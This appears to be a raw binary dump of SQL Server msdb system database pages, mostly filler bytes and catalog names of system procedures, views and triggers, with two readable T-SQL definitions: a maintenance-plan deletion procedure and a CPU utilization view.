!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t|T,
H(V .vbI
U+"MWPN&1&tgOVsp_syspolicy_update_target_set_level&l
`sp_syspolicy_verify_condition_identifiers&ðbsp_syspolicy_verify_object_set_identifiers&`sp_syspolicy_verify_object_set_references&77lsp_syspolicy_verify_policy_category_identifiers&9I=Zsp_syspolicy_verify_policy_identifiers&&PXsp_sysutility_mi_add_ucp_registration&G^sp_sysutility_mi_configure_proxy_account&JVL\sp_sysutility_mi_create_cache_directory&f&bK^sp_sysutility_mi_create_job_validate_wmi&yI\sp_sysutility_mi_validate_proxy_account&=Nsp_sysutility_ucp_initialize_mdw&H`sp_sysutility_ucp_provision_proxy_account&<dsp_sysutility_ucp_recreate_synonym_internal&7e>sp_target_server_summary&;++f0sp_uniquetaskname&2,sp_update_alert&-(2sp_update_category&GO(sp_update_job&I8sp_update_jobschedule&A0sp_update_jobstep&dTsp_update_log_shipping_monitor_info&av:sp_update_notification&uo2sp_update_operator&	sy,sp_update_proxy&6@;Tsp_update_replication_job_parameter&o4<2sp_update_schedule&3!Dsp_update_targetservergroup&;.sp_validate_user&>,sp_verify_alert&PE&2sp_verify_category&oJsp_verify_category_identifiers&JrNsp_verify_credential_identifiers&q}_M(sp_verify_job&1oV2sp_verify_job_date&ە
@sp_verify_job_identifiers&jJ2sp_verify_job_time&Mޅ>sp_verify_jobproc_caller&^?0sp_verify_jobstep&xuDsp_verify_login_identifiers&Jyt:sp_verify_notification&Mm2sp_verify_operator& rJsp_verify_operator_identifiers&JbLsp_verify_performance_condition&.v,sp_verify_proxy&qDsp_verify_proxy_identifiers&KR[{Dsp_verify_proxy_permissions&R<p72sp_verify_schedule&Jsp_verify_schedule_identifiers&|64sp_verify_subsystem&TtLsp_verify_subsystem_identifiers&0s6sp_verify_subsystems&p7D<sp_write_sysjobstep_log&|F7(sqlagent_info&l2SQLAGENT_SUSER_SID&$k6SQLAGENT_SUSER_SNAME&fS(suspect_pages&Q^sp_sysutility_mi_remove_ucp_registration&EYsp_sysutility_mi_collect_dac_execution_statistics_internal&iZzsp_sysutility_mi_get_dac_execution_statistics_internal&9{<sp_sysutility_mi_upload&|Zsp_sysutility_mi_initialize_collection&3}Tsp_sysutility_mi_disable_collection&^sp_sysutility_ucp_validate_prerequisites&>sp_sysutility_ucp_create&7rsp_sysutility_mi_validate_enrollment_preconditions&P[<sp_sysutility_mi_enroll&;>sp_sysutility_ucp_add_mi&nVFsp_sysutility_ucp_initialize&zjsp_sysutility_ucp_update_utility_configuration&SFsp_sysutility_ucp_add_policy&6xLsp_sysutility_ucp_delete_policy&oLsp_sysutility_ucp_update_policy&+"\sp_sysutility_ucp_get_policy_violations&O$\sp_sysutility_ucp_delete_policy_history&s:tsp_sysutility_ucp_provision_utility_object_internal&Tsp_sysutility_ucp_calculate_filegroups_with_policy_violations&Hpsp_sysutility_ucp_calculate_dac_file_space_health&)#=nsp_sysutility_ucp_calculate_mi_file_space_health&bG1dsp_sysutility_ucp_calculate_computer_health&k%Zsp_sysutility_ucp_calculate_dac_health&ԏpsp_sysutility_ucp_calculate_aggregated_dac_health&

 Xsp_sysutility_ucp_calculate_mi_health&F!nsp_sysutility_ucp_calculate_aggregated_mi_health&!Rsp_sysutility_ucp_calculate_health& "Vsp_sysutility_ucp_configure_policies&D#>sp_sysutility_ucp_remove&*i$Dsp_sysutility_ucp_remove_mi&c%<sp_sysutility_mi_remove&&Fsyn_sysutility_ucp_computers&d[.Rsyn_sysutility_ucp_cpu_utilization&4HNsp_validate_redirected_publisher&,sp_unbindefault&ͲPsp_table_type_primary_keys_rowset&0sp_user_counter10&a*sp_table_types&o @sp_table_type_columns_100&$=8sp_xml_schema_rowset2&{4sp_table_validation&B6sp_tables_rowset_rmt&M Dsp_table_statistics2_rowset&Fsp_table_constraints_rowset2&n.sp_user_counter9&j:sp_xml_preparedocument&Ӫ2Jsp_unregister_custom_scripting&O<sp_upgrade_log_shipping&6sp_usertypes_rowset2&z*sp_updatestats&YNDsp_table_constraints_rowset!!!!!!!!!!!!!!!!!!!!!!!!R|TN

b

^2j0

~
L

		d		hz,Jf,pH8|d4Pjf>&\~f^TjDx`
="T2N[t6&iJDF__sysutilit__l2_ca__69E6AD86&jJDF__sysutilit__l3_ca__6ADAD1BF&9cJDF__sysutilit__num_p__6339AFF7&x2JDF__sysutilit__physi__3296789C&՜3JDF__sysutilit__serve__338A9CD5&-[7JDF__sysutilit__serve__375B2DB9&	g6JDF__sysutilit__virtu__36670980&QO8JDF__sysutilit__volum__384F51F2&t^JDF__sysutilit__volum__5E74FADA&i_JDF__sysutilit__volum__5F691F13&}S
JDF__sysutilit__manag__0A537D18&tCJDF__sysutilit__over___438BFA74&DJDF__sysutilit__under__44801EAD&BtEJDF__sysutilit__set_n__457442E6&ghFJDF__sysutilit__proce__4668671F&DIJDF__sysutilit__over___4944D3CA&8JJDF__sysutilit__under__4A38F803&<-KJDF__sysutilit__set_n__4B2D1C3C&u@!LJDF__sysutilit__proce__4C214075& NJDF__sysutilit__over___4EFDAD20&YOJDF__sysutilit__under__4FF1D159&PJDF__sysutilit__set_n__50E5F592&QJDF__sysutilit__proce__51DA19CB&vTJDF__sysutilit__set_n__54B68676&UJDF__sysutilit__proce__55AAAAAF&ZXJDF__sysutilit__set_n__5887175A&;{YJDF__sysutilit__proce__597B3B93&lJDF__sysutilit__set_n__6C8E1007&yXvnJDF__sysutilit__mi_co__6E765879&|joJDF__sysutilit__mi_he__6F6A7CB2&^pJDF__sysutilit__mi_un__705EA0EB&$RqJDF__sysutilit__mi_ov__7152C524&]FrJDF__sysutilit__mi_un__7246E95D&
;sJDF__sysutilit__mi_on__733B0D96&1/tJDF__sysutilit__mi_on__742F31CF&V#uJDF__sysutilit__mi_wi__75235608&AzvJDF__sysutilit__mi_wi__76177A41&zwJDF__sysutilit__mi_wi__770B9E7A&wJDF__sysutilit__mi_wi__77FFC2B3&xJDF__sysutilit__mi_wi__78F3E6EC&%yJDF__sysutilit__mi_wi__79E80B25&^/zJDF__sysutilit__set_n__7ADC2F5E&
MJDF__sysutilit__set_n__064DE20A&CBJDF__sysutilit__proce__07420643&︳JDF__sysutilit__set_n__12B3B8EF&(ݧJDF__sysutilit__proce__13A7DD28&co<dm_audit_class_type_map&4BJdm_cryptographic_provider_keys&V0dm_clr_properties&M8dm_broker_connections&.dm_audit_actions&Fdm_broker_forwarded_messages&}>dm_cdc_log_scan_sessions&Vdm_cryptographic_provider_properties&0(dm_cdc_errors&J&dm_clr_tasks&{@dm_broker_activated_tasks&>dm_broker_queue_monitors&0dm_clr_appdomains&Vdm_cryptographic_provider_algorithms&>dm_clr_loaded_assembliesr&Be@dm_db_session_space_usage&UpTFdm_exec_query_optimizer_info&W*dm_fts_fdhosts&j8dm_db_log_space_usage&<4dm_hadr_name_id_map&U}Fdm_exec_background_job_queue&,dm_exec_cursors&WQ)Ddm_db_missing_index_details&V0dm_clr_properties&xDdm_exec_query_memory_grants&8dm_fts_index_keywords&:dm_logpool_hashentries&~>Jdm_logconsumer_cachebufferrefs&D>dm_io_virtual_file_stats& 4dm_exec_xml_handles&ZDdm_database_encryption_keys&]P<dm_exec_text_query_plan&Tdm_hadr_availability_replica_states&M8dm_broker_connections&"Ndm_db_mirroring_auto_page_repair&)`6dm_logpool_consumers&0dm_os_dispatchers&Vȼfdm_exec_describe_first_result_set_for_object&3\Vdm_filestream_non_transacted_handles&.dm_audit_actions&IPdm_hadr_availability_group_states&vBdm_db_missing_index_groups&<dm_hadr_cluster_members&{Bdm_db_uncontained_entities&\6dm_exec_cached_plans&Íddm_hadr_availability_replica_cluster_states&	0.dm_exec_sessions&Fdm_broker_forwarded_messages&v>dm_hadr_auto_page_repair&<dm_logpoolmgr_freepools&G8dm_fts_memory_buffers&k<dm_fts_index_population&m>dm_os_cluster_properties&18dm_os_child_instances&u4dm_exec_connections&Rdm_exec_background_job_queue_stats&KHdm_filestream_file_io_handles&Z)bdm_hadr_availability_replica_cluster_nodes&v:dm_fts_active_catalogs&g*Jdm_filestream_file_io_requests&}>dm_cdc_log_scan_sessions&fDdm_db_mirroring_connections&$(Hdm_db_index_operational_stats&|8dm_db_partition_stats&NRdm_cryptographic_provider_sessions&LSU@dm_io_pending_io_requests&"B>dm_hadr_cluster_networks&5Ldm_db_database_page_allocations&Pdm_exec_describe_first_result_set&Vdm_cryptographic_provider_properties&0(dm_cdc_errorsJ6TnL
2n0b
f(:.rJ"
Plb
>\
~
		V	4
	xD`J
(D"jO\;N&p6!Nsysutility_ucp_policy_violations&N`sysutility_ucp_policy_violations_internal&/
^sysutility_ucp_processing_state_internal&F,Lsysutility_ucp_smo_servers_stub&!Xdsysutility_ucp_snapshot_partitions_internal&Gr5Xsysutility_ucp_space_utilization_stub&jsysutility_ucp_supported_object_types_internal&U-^sysutility_ucp_utility_space_utilization&,:sysutility_ucp_volumes&V*Dsysutility_ucp_volumes_stub&9(syswebmethods&*sysxlgns&W$sysxmitbody&D&sysxmitqueue&[,sysxmlcomponent&\$sysxmlfacet&],sysxmlplacement&1 sysxprops&+sysxsrvs&sBR8trig_backupset_delete&!H&{>trig_notification_delete&#2zFtrig_notification_ins_or_upd&O8trig_principalprofile&aDBtrig_sysjobs_insert_update&P6trig_sysmail_account&ݳV>trig_sysmail_attachments&TBtrig_sysmail_configuration&W.trig_sysmail_log&HU:trig_sysmail_mailitems&N6trig_sysmail_profile&d(QDtrig_sysmail_profile_delete&+PDtrig_sysmail_profileaccount&pS4trig_sysmail_server&LR<trig_sysmail_servertype&.APtrig_sysoriginatingservers_delete&)VLtrig_sysschedules_insert_update&i>trig_targetserver_insert&A`TT_syspolicy_target_filters_type_4119A21D&2qPU_sysssispackagefoldersuniquepath&Q*JUQ__sysdbmai__AEEEF1DB97C2620B&Ľ|-JUQ__sysdbmai__B2649B259C75E807&n'JUQ__sysdbmai__F87CA47793259FB4&i<JUQ__sysorigi__57F15AAC0E0370DD&`u;JUQ__sysorigi__D65E569C8D13047D&ٴUJUQ__sysutili__0717EC61238BDACB&TJUQ__sysutili__A5C7DBB701255F43&"w)jUQ_syscollector_collection_items_internal_name&Hd,2JUQ__log_ship__2A5EF6DC449E1178&.TABLE_PRIVILEGES&a64trigger_event_types&@traces&k0TABLE_CONSTRAINTS&C}6trace_event_bindings&p'&trace_events&a4trace_xe_action_map&#(trace_columns&2trace_xe_event_map&1t.trace_categories&8trace_subclass_values&ӘTABLES&$table_types&6type_assembly_usages&22transmission_queue&Ytypes&a*trigger_events&dtriggers&~tables&(tcp_endpointsHd,2JUQ__log_ship__2A5EF6DC449E1178&.TABLE_PRIVILEGES&4xp_instance_regread&R$xp_cmdshell&r4xp_get_tape_devices&nBxp_instance_regdeletevalue&a64trigger_event_types&nR!0xp_servicecontrol&T6xp_qv&f$xp_logevent&@traces&Hxp_instance_regaddmultistring&nd(xp_getnetname&k0TABLE_CONSTRAINTS&d&xp_logininfo&a@xp_instance_regenumvalues&0xp_regdeletevalue&&<xp_enum_oledb_providers&oEVIEWS&㜂0VIEW_COLUMN_USAGE&46xp_instance_regwrite&PD4xp_sysmail_activate&L%"user_token&'j*xp_delete_file&%{<xp_instance_regenumkeys&<xp_regremovemultistring&Kd"xp_dirtree&>s1$xp_regwrite&5̃<xp_sqlagent_is_starting&E6xp_regaddmultistring&xP,xp_regdeletekey&8xp_sqlagent_enum_jobs&L^xp_repl_convert_encrypt_sysadmin_wrapper&	o.xp_enumerrorlogs&vxp_msver&C}6trace_event_bindings&p'&trace_events&-2xp_sqlagent_notify&a4trace_xe_action_map&o.VIEW_TABLE_USAGE&:(xp_enumgroups&4&xp_fileexist&#(trace_columns&*xp_fixeddrives&4xp_sqlagent_monitor&2trace_xe_event_map&>,xp_readerrorlog&*xp_replposteor&"F@ xp_sscanf&J.xp_passAgentInfo&@*xp_revokelogin&1t.trace_categories&(xp_msx_enlist&1(xp_get_script&I0xp_availablemedia&kBxp_sysmail_attachment_load&>u$xp_sqlmaint&o:xp_prop_oledb_provider&8trace_subclass_values&ӘTABLES&*xp_loginconfig&+@Nxp_instance_regremovemultistring&P0xp_sqlagent_param&g*xp_regenumkeys&͌.xp_regenumvalues&T6(xp_grantlogin&P"xp_subdirs&z"xp_sprintf&$J.xp_create_subdir&"xp_regread&C>xp_instance_regdeletekey&H<xp_sysmail_format_query&$table_types&6type_assembly_usages&1:xml_schema_collections&22transmission_queue&5Lxml_schema_component_placements&6Jxml_schema_wildcard_namespaces&76xml_schema_wildcards&Ytypes&a*trigger_events&dtriggers&~tables|z.z8B8

Z

	l`	"	JXp:z<:,
.

v
`F
vJ$v<tl`Q4<dPL~ğ0pp8 8CREATE PROCEDURE sp_delete_maintenance_plan_db
  @plan_id uniqueidentifier,
  @db_name sysname
AS
BEGIN
  /*check if the (plan_id, db_name) exists in the table*/
  IF (NOT EXISTS(SELECT *
                 FROM msdb.dbo.sysdbmaintplan_databases
                 WHERE @plan_id=plan_id AND @db_name=database_name))
  BEGIN
    DECLARE @syserr VARCHAR(300)
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+@db_name
    RAISERROR(14262,-1,-1,'@plan_id+@db_name',@syserr)
    RETURN(1)
  END
  /*delete the pair*/
  DELETE FROM msdb.dbo.sysdbmaintplan_databases
  WHERE plan_id=@plan_id AND database_name=@db_name
END
0+vC9 $8('')0l9 A8
CREATE VIEW [dbo].[sysutility_ucp_computer_cpu_utilizations]
AS
SELECT comp.physical_server_name AS physical_server_name, 
   10 AS under_utilization, 
   comp.processor_utilization AS current_utilization, 
   70 AS over_utilization
FROM	msdb.dbo.sysutility_ucp_computers AS comp
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!